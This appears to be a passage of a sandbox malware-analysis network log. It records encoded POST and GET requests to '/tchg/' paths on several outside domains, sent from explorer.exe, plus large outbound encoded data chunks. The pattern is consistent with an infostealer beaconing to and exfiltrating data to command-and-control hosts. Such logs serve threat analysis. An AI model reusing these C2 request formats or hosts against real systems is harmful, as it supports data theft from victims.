PTdchOJH2~QOuhnBcxduWYML7pK9Krj~05BpfNU3EXNwotTY2XLfuAIqcRpIPflBP7eA9Qq~IzQRlvI8ATPGRXyPnMmmX6pWH9jykQjhXZucHJW8J47a0VP~YRA~nuxH8vU9AJAvyBkDDoKyufUxIoG7gUtPn8sASbAQDZOXZy_O48Sod1TpFOPQSo5EEkVw0j7PDAIVi~S~vFEo6qnP6LyuJ6u~PenkeC02HyZrzsvzT6MPEAnttsGmPjTBvZpjShkWpPjH7lDUtK0xPqclTJXr_SO9JCwYpy599LLgzsV1-80O9FNa56_bez0N8BPg_0tm9f7RqWvdHLFXFo_KAYBVxZ70j9uHaVEj3QVkoRWA107pcrcCdTaN4odSWrxNoXTpJ0_P_qnG92CgH0TfhLpZWxA6YPVYsgDxfjJ26b_XJpFR0~cQfvKcTkiZAvoqaoMVNdA4zsXsEhkDJSadcjxe4gx6keYQIj73caukVoemefMwouusxqXLSivNoOF(8wC1i~SiZ07fzfWY4nSMKq5YiHykfqxv8JJ9BSQBiBEugZr1agA~i~mfHHk5WJFd7jGhwZFO2A_y58vKM7bbWBTgtBtdTrgiHWY53vnZFCF7_y_D_wC6zDw3eqEN-jkKjN1xxBBMx42D1l_VyMuwYrZROBVibDM51er0teZZb2UXz6ARKlVVWhYbyOYU6jx4CIZZwZLkMjoUmN4h7uDygpJBSRTh9WGb5vPw3HxkOI51xawOUvRY_(NIkiVk9ZDVAWFJEEZv9JGZMUtRrC7VYSZ9NVJbRZP7iKJ291fjbgXaDVBnkMOvhho4D50AMBGiZl2EToraQUeAD0p4dvrhZvlQFUJB7sPKRdeqRHy6SWWTvLKv0KugS9xw9UUm2Ku0iGbM_(fZLpQywX_WIG76MulsGab(rS6ZpjpYTAKo6G4iAU2MEujKpt_TPu3(YYVVTwxpp2yqFL1YJRZAo9FYZi9D9Z-1XzUMD3MdAw5t9TCNdgsMaAqYLuykakVWWN6vxhnXGh-CP8FlHS8YuznOmxjmfZhre74Ol~LCGOiLys30qnvLzRIQff2aC(wG77FqWJYq1mMO_IJColqvU83NNBr2Yru1wA-2DDRPvxF(9XRoDPPHPhw69OQIKxBFGf6hQXNs923HBxiaKGDg59ydb04slG67B1oyOoTUA2_dvgIEIgm5g16fgPTtS5KovMSqBCbjTL7C69oezAiMJ(_unCobjnZ2VHOD30mUHPVTxOh4nIZA-7XCps2WSzlniLkIeBAgrW58iAlMOA0yYpV7e6Q~GAnP8vDy178YLbJ2Nvzsu3r35FaeKVDUJW4Rl5SczxVnYFPIILTo30GSaFHX_divsUUNXXvcvVZukAlRDU61oTLNR(5ZoDYldYNC6LkpnDlX-GJdvl7J42WWnNLdk1JUq2CmNmnU4ZY(1A3UZzE3mfBD4(frjEVx1SFOMdFfdGI1aU5IcY8T-unaeEPDPEF(9JUbSbtaTIR8fxfTjiJ9XHndAQzDynLjo~JFZZdncClLtFMArrixePQDO0fMKClMqGa~PHj~PemLikSpLLaVRMGG2j3Fgt0idt8iJnluVw01eZ9x4swCEZfbaj6zKnM6ieNH0hUTh0lfWcspP1EvSId0qd5roKWKdVpj0pcxgvqw7(C30LSG4Hd04k716(h2p4G4XgfUN~fRwC19H14WhgWxuXCYZDYxsVNKT38HCHztU35uTAX9UAB6D8n9Jm3cXENzs4-KfSFJcMkF0rdmPv7BFQl0TA9IZjn(Ki7LO72qFmNJEyX7PoMX0a9dL7SO8OsD50bWrw_Pr4yKNH65lrMtxRiuoirMEswdLqIGFQS8zbdEmBb7zznuIh7hYztWUZIu2KK4834mm8KeYDDx7MSiKM_oqrRnWea5xTwuQJnwGEfQCXZRnbLbHuoUxpivnNz~vHdhD(KaA7aoWaQDt(WeAwfPTed0rQgtEedUyVVSdKS2oDAvD6tg_KMQw(FSbqHHgUupn4TP-XBB2Nnl62BThVhpHh0PpgUvk8QbNXweNgpcOU7(WK9y_QND04NHvBwSnUyMRwuI1rZhSmXOvy5iJAR41IY(3kfl2reRrnVKkrZ~u4tLoLmCeaU3Q3Bqzv6qw4WH5vhtLMY7HD7QQEwfltIoHf6NIot1VUEU-iaNN9j7MktgEKbwpWT~qvdf9MnntAKEL7fkO8VuRqSYwtf7JHhRIcqqDyvxq6jEzddN8xChJV-44oX19ZEoO1HOsrm2XeohmoEtIDI4CsYpYDoeg~-x0uhxHr_aynYEdLR2yatzqHWKOkTBZGxvdPQLs1gsyIXoEcj9WRpf4pccb2DZyjI5MdAqtPHUaZUTANQGllABAIB6rMbhUs1W0Al34NVR10203Tt54oz~5ttGeiMSpvmbT70bPhLjsM5zsDH7J9nsQwH5yiXjI5-pujXl4vCafipzxvThlomAGImZgeR6bECezjVHYodzQu51u686GngMoN1cwDw0TQKmjdSb7xWKavsIoJ3DR342uS-6mvLHG2MWZHOt7JEtMONu5srCp3nUakGiZRZo7g8cmA6ROxz1jkHQbd1F8Q-dvoYrbPDfXLF8PhQR3kORZUpUYTQRHnyeVIzKeaNWpbU9Xg0z2x5m2X0ymgG7KbtF5xgM-7S2ifnK2rZvD2ZbK6VlZKnx-n7n8(Tzqt9wgsg1mZvbkV7bItFVEk-soumsFTFEGmkVKsH457ejf402RkGVunkrs71UFsE7Xg-HuqaCgey7X~q(hIXc5iSZ3QjW88FIrdOlXnVf6nGQFwXk3NgIGezvhYgymFQzog1VOhxnbtD(SwPmbb4r5~2(98wA5VwFLxN6Ay7NGeAgVeXV6M0NZXJ0s0vDeB2UVpUdLx9ZYPblKCvrAOvR-yInebymzXka40SgIja~vMdWkVRc33N
May 30, 2023 11:11:56.661372900 CEST	1306	OUT	Data Raw: 7e 38 66 75 68 77 51 51 74 51 65 5a 61 6e 6b 6a 6b 34 49 68 41 67 6b 4c 33 4c 37 55 33 7a 31 72 67 30 28 4b 32 71 4d 58 4b 77 32 71 72 5a 76 70 48 4b 71 6f 50 76 55 45 44 30 77 2d 32 51 67 58 54 48 62 6c 67 64 36 33 75 38 55 32 6d 63 78 65 43 31 Data Ascii: ~8fuhwQQtQeZankjk4IhAgkL3L7U3z1rg0(K2qMXKw2qrZvpHKqoPvUED0w-2QgXTHblgd63u8U2mcxeC1cFD6gAOs2gQjvC~QzwLPouhE0P6CDB7rxip3wsuPTAgbWALDPD7rjyLGAfRF5Ac9sWYUtwVcxgTxx1jwRb5rExRAlsNoxeWv3L7azua-N1Y-ByYdOE~Vj0VGKBZGiQx7oMnPj9tuYUPVmaXCJUyptBkYuo5O32vY3
May 30, 2023 11:11:56.661446095 CEST	1308	OUT	Data Raw: 30 4f 78 61 77 42 63 4d 57 46 55 6c 4c 5a 72 72 6f 43 4c 59 66 32 50 37 6c 72 38 46 76 65 57 63 79 6a 71 48 52 34 6e 4d 45 78 73 7a 6a 59 6d 73 44 30 6c 51 6a 4e 57 5f 6b 56 66 4c 77 4e 6b 47 4e 68 74 6b 61 6f 63 4a 75 4e 43 6b 39 53 6f 52 4e 32 Data Ascii: 0OxawBcMWFUlLZrroCLYf2P7lr8FveWcyjqHR4nMExszjYmsD0lQjNW_kVfLwNkGNhtkaocJuNCk9SoRN2wrvVUnAXu6lYqDoddY8lwbc88QFJH-lLtm8pOA4aCD5_bFeB0TueCRqFLAOGY5SNfXuNargFiQeXlmqf5NqPeshl0BAs0Nlm7ZtTGe3FaqtXB0XyPKx7UmhneA3Dkm4K04Qiki~TKgw3BXcV08PudtGhWi0HaZVp0
May 30, 2023 11:11:56.661509991 CEST	1310	OUT	Data Raw: 4e 56 47 56 67 35 47 4a 37 61 75 47 71 31 31 45 34 4e 43 58 6f 63 70 57 55 75 63 69 53 71 6b 35 42 31 4e 48 76 5f 30 70 78 30 56 58 68 54 48 6b 64 61 53 2d 71 72 52 61 48 6f 72 56 75 4a 64 65 77 5a 56 41 76 47 4d 44 74 76 4a 72 55 49 6c 76 76 4f Data Ascii: NVGVg5GJ7auGq11E4NCXocpWUuciSqk5B1NHv_0px0VXhTHkdaS-qrRaHorVuJdewZVAvGMDtvJrUIlvvO7Qn2iCdKK-TdQBjMEatZa_QOpRPsUmeEnWn4eXK24NrZKYry0FUgXW6irsnw(NMRYyO4LZkooRlUNMN8GSVVzFCLprzlnFCEXcKZZ223O0UR3ZDlF431PyJPAH73BygYxY9XCG1_UY1T(1Skd3mIbAzsx3lYbldW7
May 30, 2023 11:11:56.661643028 CEST	1319	OUT	Data Raw: 58 52 63 48 69 62 45 56 79 50 30 4b 35 5a 77 4c 57 4c 6c 54 7a 32 77 74 6a 55 6c 6c 51 74 46 73 75 30 6d 6c 4e 4c 49 39 42 4e 63 41 59 76 6c 68 57 39 4d 6f 58 38 73 68 70 61 55 75 48 4c 28 55 61 62 63 76 75 4b 44 5f 55 46 4f 70 35 67 46 33 33 46 Data Ascii: XRcHibEVyP0K5ZwLWLlTz2wtjUllQtFsu0mlNLI9BNcAYvlhW9MoX8shpaUuHL(UabcvuKD_UFOp5gF33FYJt-71FSxZhW(DFpN1vhWRKMHjBbjgc8gMW8FDYGHP~pyyAb1VjEPzGEQaByEU67VVUCmFprg-FkdBxqfVOUa5rKcfdoyoF9gr98rkJa4gWCpz5ceEPl594GeSnjvNsFMeCDdiqzyf~7XvIE261VuSs-cwOeTmIyQ
May 30, 2023 11:11:56.661648035 CEST	1320	IN	HTTP/1.1 403 Forbidden date: Tue, 30 May 2023 09:11:56 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0
May 30, 2023 11:11:56.661812067 CEST	1331	OUT	Data Raw: 43 32 50 53 28 30 78 35 61 49 63 53 52 4a 4e 6e 6e 6c 39 46 6d 73 4f 63 66 61 36 41 42 69 38 36 42 6d 46 6e 48 61 5a 37 43 4d 50 6c 58 4a 63 76 70 35 5a 74 43 38 34 50 75 78 56 4e 62 41 4e 6f 61 49 64 45 65 62 5a 47 67 67 6d 54 6c 77 4d 4b 79 4a Data Ascii: C2PS(0x5aIcSRJNnnl9FmsOcfa6ABi86BmFnHaZ7CMPlXJcvp5ZtC84PuxVNbANoaIdEebZGggmTlwMKyJBySSFVdgV7rnk7evbQ1Pnm9c0Pw8Cegsv5oapf92OObj(wUMhJUx(xwPtbB8he4USe1dPGJc~_YJSUWLD3cOrHGDXtnN0mA6MRokObEqRF0LZ2qx4GnOvUaetJsAovqYJ7DtYCbcpoeDil~e9zJOZ0nz6O84WV1nc
May 30, 2023 11:11:56.672240019 CEST	1332	OUT	Data Raw: 32 77 35 65 69 6a 79 73 59 4d 6d 35 50 57 7a 35 6c 68 49 4c 58 4e 4e 52 47 53 6e 31 6a 30 36 51 34 6b 4d 36 6f 42 52 54 45 35 63 4f 6c 37 72 61 6a 61 56 68 4f 6b 37 75 6b 72 30 62 4f 50 75 4b 39 46 4a 4a 49 59 69 67 37 55 28 66 76 57 64 67 4d 75 Data Ascii: 2w5eijysYMm5PWz5lhILXNNRGSn1j06Q4kM6oBRTE5cOl7rajaVhOk7ukr0bOPuK9FJJIYig7U(fvWdgMuVzTkocKla0cvzNI6qEiO7850Q-jAax6yHzMqVwwegD8QSEBRfWYkBc8KE5xNMWZWyc11OMt9kxnI4ZQXC_Exp25zR2xXhptvvnyi5j~nIIv5g7QtxRRJMbDjQrsTS01Q8888l11Hveu_RjRfurC8Z3qE8rWbB3P81
May 30, 2023 11:11:56.672312975 CEST	1336	OUT	Data Raw: 68 4e 4f 4d 59 31 48 64 30 6e 54 56 79 72 4d 4b 4a 6a 6f 6c 69 4a 74 4b 57 62 76 6b 6b 37 66 79 4c 54 4c 6c 74 4c 4a 59 4b 65 51 6c 64 58 7e 6e 34 70 4b 79 31 57 7e 45 45 41 6e 45 71 65 6a 6b 38 32 75 77 68 57 6c 56 28 53 6a 54 61 6a 31 69 6b 6c Data Ascii: hNOMY1Hd0nTVyrMKJjoliJtKWbvkk7fyLTLltLJYKeQldX~n4pKy1W~EEAnEqejk82uwhWlV(SjTaj1ikl5pE9vrZSnpp7fy3SiiFkvwER1Qkfs_tqGWHohWj9yfjFN32ObVETCEcwUCAsBgqkZtpH1dUNlBZzr5BmBMsda9DKPuluBm1cjSPfx_B5sKdKWS7_PRqLW6HfBx5bOhwLcZVL93Ux0AYpHCXPoMCQVRFiOXuoA89UC
May 30, 2023 11:11:56.672511101 CEST	1345	OUT	Data Raw: 54 51 6e 51 48 7a 79 6d 6c 69 34 4d 37 68 58 78 58 5f 28 38 65 4d 75 30 79 79 4f 4b 4c 32 6e 6d 4d 4b 4a 64 78 65 52 31 6c 7a 45 64 38 37 77 4e 45 34 7e 64 43 47 64 34 46 55 61 63 52 45 77 4b 33 61 36 6c 67 7a 61 48 64 5a 45 53 6b 67 51 79 69 47 Data Ascii: TQnQHzymli4M7hXxX_(8eMu0yyOKL2nmMKJdxeR1lzEd87wNE4~dCGd4FUacREwK3a6lgzaHdZESkgQyiG(_czbjHAs1J_nIVSb3t5UxcuyoZFt1dKvYW64hqnLlcs5GFa4rsdZevcY3jegxbflRsO45dzLGJt3WF3jRwH96MyFE1lGWUZ1jDinPLCb4o_Ck53fbLeMnMuNhjRUWF9lKFHChEsjpHOSuzWTo5CtBgqGaLYVFwcA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.11.20	49830	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:59.180994034 CEST	1346	OUT	GET /tchg/?O0qEM=Vh+NtSFYOkmwW/joH9vrd5+MSsdMnxV1ssl4yHjdHmi4FIifjhGRd3WP5FLf/k8P5fuqdVgOe83DA0NMx4WBp24AMjol/1MYCA==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.marketing-solution.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:11:59.423235893 CEST	1347	IN	HTTP/1.1 200 OK date: Tue, 30 May 2023 09:11:59 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_G5prXlVdwTCD+r+fn7DUuR757YOPr2z5n7y9MQOfiVqPrUIsKJMYVD2ud92lbOMx/7OI0PCOIUgiaYOT9lauGw== last-modified: Tue, 30 May 2023 09:11:59 GMT x-cache-miss-from: parking-6bdbf848bb-z6z8f server: NginX connection: close Data Raw: 32 43 46 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 47 35 70 72 58 6c 56 64 77 54 43 44 2b 72 2b 66 6e 37 44 55 75 52 37 35 37 59 4f 50 72 32 7a 35 6e 37 79 39 4d 51 4f 66 69 56 71 50 72 55 49 73 4b 4a 4d 59 56 44 32 75 64 39 32 6c 62 4f 4d 78 2f 37 4f 49 30 50 43 4f 49 55 67 69 61 59 4f 54 39 6c 61 75 47 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 6d 61 72 6b 65 74 69 6e 67 2d 73 6f 6c 75 74 69 6f 6e 2e 6e 65 74 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 49 6e 66 6f 72 6d 61 74 69 6f 6e 65 6e 20 7a 75 6d 20 54 68 65 6d 61 20 6d 61 72 6b 65 74 69 6e 67 20 73 6f 6c 75 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 72 6b 65 74 69 6e 67 2d 73 6f 6c 75 74 69 6f 6e 2e 6e 65 74 20 69 73 74 20 64 69 65 20 62 65 73 74 65 20 51 75 65 6c 6c 65 20 66 c3 bc 72 20 61 6c 6c 65 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 65 6e 20 64 69 65 20 53 69 65 20 73 75 63 68 65 6e 2e 20 56 6f 6e 20 Data Ascii: 2CF<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_G5prXlVdwTCD+r+fn7DUuR757YOPr2z5n7y9MQOfiVqPrUIsKJMYVD2ud92lbOMx/7OI0PCOIUgiaYOT9lauGw==><head><meta charset="utf-8"><title>marketing-solution.net - Informationen zum Thema marketing solution.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="marketing-solution.net ist die beste Quelle fr alle Informationen die Sie suchen. Von
May 30, 2023 11:11:59.423347950 CEST	1348	IN	Data Raw: 61 6c 6c 67 65 6d 65 69 6e 65 6e 20 54 68 65 6d 65 6e 20 62 69 73 20 68 69 6e 20 7a 75 20 73 70 65 7a 69 65 6c 6c 65 6e 20 53 61 63 68 76 65 72 68 61 6c 74 65 6e 2c 20 66 69 6e 64 65 6e 20 53 69 65 20 61 75 66 20 6d 61 72 6b 65 74 69 6e 67 2d 73 Data Ascii: allgemeinen Themen bis hin zu speziellen Sachverhalten, finden Sie auf marketing-solution.net alles. Wir ho1Fffen, dass Sie hier das Gesucht571e finden!"><link rel="icon" type="image/png" href="//img.sedoparking
May 30, 2023 11:11:59.423460007 CEST	1350	IN	Data Raw: 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 Data Ascii: (:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{
May 30, 2023 11:11:59.423527956 CEST	1351	IN	Data Raw: 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 65 31 36 32 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 7d 2e 61 6e 6e 6f 75 Data Ascii: splay:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;text-align:center}.container-header__content{color:#848484}.containe
May 30, 2023 11:11:59.423626900 CEST	1352	IN	Data Raw: 63 6b 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 Data Ascii: ck}.container-imprint__content-text,.container-imprint__content-link{font-size:10px;color:#949494}.container-contact-us{text-align:center}.container-contact-us__content{display:inline-block}.container-contact-us__content-text,.container-contac
May 30, 2023 11:11:59.423686981 CEST	1354	IN	Data Raw: 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6f 6b 69 65 2d Data Ascii: tion:all .3s;-moz-transition:all .3s;transition:all .3s;text-align:center}.cookie-modal-window__content-header{font-size:150%;margin:0 0 15px}.cookie-modal-window__content{text-align:initial;margin:10% auto;padding:40px;background:#fff;display
May 30, 2023 11:11:59.423746109 CEST	1355	IN	Data Raw: 6c 6f 72 3a 23 37 32 37 63 38 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 37 32 37 63 38 33 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6d 65 64 69 75 6d 7d 2e 62 74 6e 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 73 6d 7b 62 61 Data Ascii: lor:#727c83;border-color:#727c83;color:#fff;font-size:medium}.btn--secondary-sm{background-color:#8c959c;border-color:#8c959c;color:#fff;font-size:initial}.btn--secondary-sm:hover{background-color:#727c83;border-color:#727c83;color:#fff;font-s
May 30, 2023 11:11:59.423818111 CEST	1356	IN	Data Raw: 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 37 30 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 Data Ascii: on:relative;max-width:1700px;margin:0 auto !important}.container-content__container-relatedlinks,.container-content__container-ads,.container-content__webarchive{width:30%;display:inline-block}.container-content__container-relatedlinks{margin-
May 30, 2023 11:11:59.423872948 CEST	1358	IN	Data Raw: 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 30 20 35 70 78 20 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 74 77 6f 2d 74 69 Data Ascii: st__list-element{list-style:none;padding:10px 0 5px 0;display:inline-block}.two-tier-ads-list__list-element-image{content:url("//img.sedoparking.com/templates/images/bullet_justads.gif");float:left;padding-top:32px}.two-tier-ads-list__list-ele
May 30, 2023 11:11:59.423948050 CEST	1359	IN	Data Raw: 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 Data Ascii: link:hover,.webarchive-block__list-element-link:active,.webarchive-block__list-element-link:focus{text-decoration:underline}body{margin:0}.domain h1{font-size:2.2em;font-weight:normal;text-decoration:none;text-transform:lowercase;color:#949494
May 30, 2023 11:11:59.435136080 CEST	1361	IN	Data Raw: 34 75 62 6d 56 30 4a 6d 46 66 61 57 51 39 4d 53 5a 7a 5a 58 4e 7a 61 57 39 75 50 56 49 31 62 6c 68 73 51 56 6c 6f 63 57 4e 79 4e 33 56 5a 5a 53 31 77 4e 45 35 59 4a 6e 52 79 59 57 4e 72 63 58 56 6c 63 6e 6b 39 4d 51 3d 3d 22 7d 2c 22 69 6d 70 72 Data Ascii: 4ubmV0JmFfaWQ9MSZzZXNzaW9uPVI1blhsQVlocWNyN3VZZS1wNE5YJnRyYWNrcXVlcnk9MQ=="},"imprintUrl":false,"contactUsUrl":false,"contentType":2,"t":"content","pus":"ses=Y3JlPTE2ODU0Mzc5MTkmdGNpZD13d3cubWFya2V0aW5nLXNvbHV0aW9uLm5ldDY0NzViZGRmMzFlNDczLjMyN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.11.20	49831	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:04.620038986 CEST	1408	OUT	POST /tchg/ HTTP/1.1 Host: www.tsygy.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.tsygy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.tsygy.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 77 5a 70 44 62 4c 57 31 62 64 51 48 36 50 68 4a 62 4d 56 79 52 51 56 6e 55 31 62 64 64 77 65 50 43 33 70 34 4e 6a 70 30 72 49 57 42 76 43 39 55 68 2d 70 67 64 74 6d 7a 76 6b 79 33 51 66 48 50 4a 38 37 5f 55 36 32 7a 4a 44 4a 7a 33 72 75 46 6b 5a 53 47 6f 38 42 39 4a 67 68 39 4c 49 4b 41 6c 35 79 32 41 34 44 58 7a 55 69 5f 56 53 28 53 6e 57 6e 51 6f 6e 64 4e 4a 6f 6c 37 57 41 77 6f 74 66 57 78 44 4c 61 45 31 78 30 4e 56 70 44 7a 48 76 6f 42 57 33 6c 59 7a 68 6c 55 57 62 55 76 31 42 51 35 37 6a 76 39 7e 63 35 43 69 42 38 79 32 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=wZpDbLW1bdQH6PhJbMVyRQVnU1bddwePC3p4Njp0rIWBvC9Uh-pgdtmzvky3QfHPJ87_U62zJDJz3ruFkZSGo8B9Jgh9LIKAl5y2A4DXzUi_VS(SnWnQondNJol7WAwotfWxDLaE1x0NVpDzHvoBW3lYzhlUWbUv1BQ57jv9~c5CiB8y2A).
May 30, 2023 11:12:04.787960052 CEST	1408	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:12:02 GMT Connection: close Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 04 00 0d 0a Data Ascii: a
May 30, 2023 11:12:04.788219929 CEST	1409	IN	Data Raw: 32 61 66 0d 0a c5 55 3f 73 d3 30 14 ff 2a c6 3d 48 7b d7 c4 92 25 39 96 9d 78 29 cc 30 74 61 74 6d 25 11 75 2c 63 2b 75 d2 91 8d a1 ac 2c 4c b0 74 68 cb c0 50 0e 8e eb 97 81 36 4c 7c 05 24 d9 40 da 2b 3d b8 eb 5d 3d f8 67 e9 fd fb e9 bd a7 e7 1f Data Ascii: 2afU?s0=H{%9x)0tatm%u,c+u,LthP6L\|$@+=]=g>~5,5fy5'RuQOcRJh X`BFEU\z05zCO(1)op2@KI?8)lQ2l+dwMKSV%%/$%E?jd
May 30, 2023 11:12:04.788259983 CEST	1409	IN	Data Raw: 38 0d 0a ee 6a 61 23 a4 06 00 00 0d 0a Data Ascii: 8ja#
May 30, 2023 11:12:04.788291931 CEST	1409	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.11.20	49832	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
